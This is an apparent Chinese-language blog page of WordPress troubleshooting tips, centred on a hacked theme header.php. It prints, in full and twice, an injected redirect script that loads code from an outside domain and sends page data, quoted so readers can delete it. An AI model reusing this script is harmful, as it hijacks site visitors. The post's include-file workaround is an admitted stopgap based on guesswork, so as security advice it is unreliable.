目前有些WORDPRESS網站會被轉址到其他網站,找到治標方式。
WP網站路徑 / wp-include / js / jquery / jquery.js
看看最後一行 有沒有很奇怪的 類似 0x88f 之類的,有的話刪除那段
附圖是正常的 jquery.js
如果不正常 我圈出來的地方 應該會有被轉址的奇怪語法。
此部落格 我也是常常被攻擊 ,各種被入侵被轉址,然後再慢慢找原因
所以往後近來看到這網站怪怪的,大概是我又要開始攻防,然後寫下一篇文章的時候了
目前有些WORDPRESS網站會被轉址到其他網站,找到治標方式。
WP網站路徑 / wp-include / js / jquery / jquery.js
看看最後一行 有沒有很奇怪的 類似 0x88f 之類的,有的話刪除那段
附圖是正常的 jquery.js
如果不正常 我圈出來的地方 應該會有被轉址的奇怪語法。
此部落格 我也是常常被攻擊 ,各種被入侵被轉址,然後再慢慢找原因
所以往後近來看到這網站怪怪的,大概是我又要開始攻防,然後寫下一篇文章的時候了
如果您的帳號密碼確認無誤,卻登入不了
可以看看是否有安裝外掛wp-limit-login-attempts
今天測試了一個站台,怎樣都登入不了,後來把此外掛從FTP刪除
就可以登入了,有點神奇
Kaohsing
你的WP的header.php也被駭了嗎? “高興"提供一個治標解決方式。
症狀如下
類似這段程式碼,會出現在theme裡面的header.php裡頭的</head>前面
<script>var a=";setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!=="||document.referrer!==null){document.write(‘<script type="text/javascript" src="http://eurotredeshop.org/js/jquery.min.php?c_utt=G91825&c_utm=’+encodeURIComponent(‘http://eurotredeshop.org/js/jquery.min.php’+’?’+’default_keyword=’+encodeURIComponent(((k=(function(){var keywords=";var metas=document.getElementsByTagName(‘meta’);if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!=="?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?":t:v[1]:k))+’&se_referrer=’+encodeURIComponent(document.referrer)+’&source=’+encodeURIComponent(window.location.host))+'"><‘+’/script>’);}</script>
OK,你被駭了!, 然後,一般我們遇到就是進去刪除這段code,但很不幸的3天後,又被放置類似的code進來的,怎麼駭進來的,我不知道詳情,我基本不是wp超級資安專家,只是一個wp使用者,而且你會被客戶說,
“為何我的網站在google上出現這個網站可能已遭入侵 “
google會幫你偵測 你的網站被入侵了,其實蠻貼心的。
我知道你們不想聽我屁話這麼多,那馬上來看看怎麼[治標]吧,目前已經快一個月都沒再被入侵植入程式碼了
STEP1 先刪除被植入的那段code
把 theme裡你使用的主題的header.php 打開來 並刪除可疑code
先刪除</head>前面的這段code
<script>var a=";setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!=="||document.referrer!==null){document.write(‘<script type="text/javascript" src="http://eurotredeshop.org/js/jquery.min.php?c_utt=G91825&c_utm=’+encodeURIComponent(‘http://eurotredeshop.org/js/jquery.min.php’+’?’+’default_keyword=’+encodeURIComponent(((k=(function(){var keywords=";var metas=document.getElementsByTagName(‘meta’);if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!=="?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?":t:v[1]:k))+’&se_referrer=’+encodeURIComponent(document.referrer)+’&source=’+encodeURIComponent(window.location.host))+'"><‘+’/script>’);}</script>
STEP2 剪下剩餘的原始乾淨code
刪除可疑code後,剪下剩餘的原有程式碼
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)
一定要把惡意的<script>var a=";setTimeout(10)………………….</script>刪除唷然後你會剩下你原有乾淨的code
STEP3 做一個空白檔案 head-include.php
做成一個空白檔案叫做 head-include.php
把剛剛剪下的程式碼(原本在header.php的乾淨的code) 在空白的head-include.php全部貼上
STEP4 header.php只留一行程式
這時候header.php會是空白的,來寫一段php簡單程式碼吧
<?php include(‘head-include.php’); ?>
DONE !!!
再來看看運作上有沒有問題,理論上應該都是正常運作的,
那為什麼這樣可行呢?
我的推測是 : 駭客已經破解wp(目前更新到最新4.5.2還是有被破解過)核心,就是衝得進去你家,然後是用程式碼判斷你主題theme裡有沒有header.php這個檔案,有的話會去找到你的</head>,然後緊接在</head>前面植入a=";setTimeout(10);if(…………… 這段惡意code。
因為工作繁忙沒有時間真正研究如何防禦及理論,還請其他大大補充囉
提供給遇到且想試看看的人
轉載請告知,並於轉載文中附原文連結,謝謝。
高興
studio.goods@gmail.com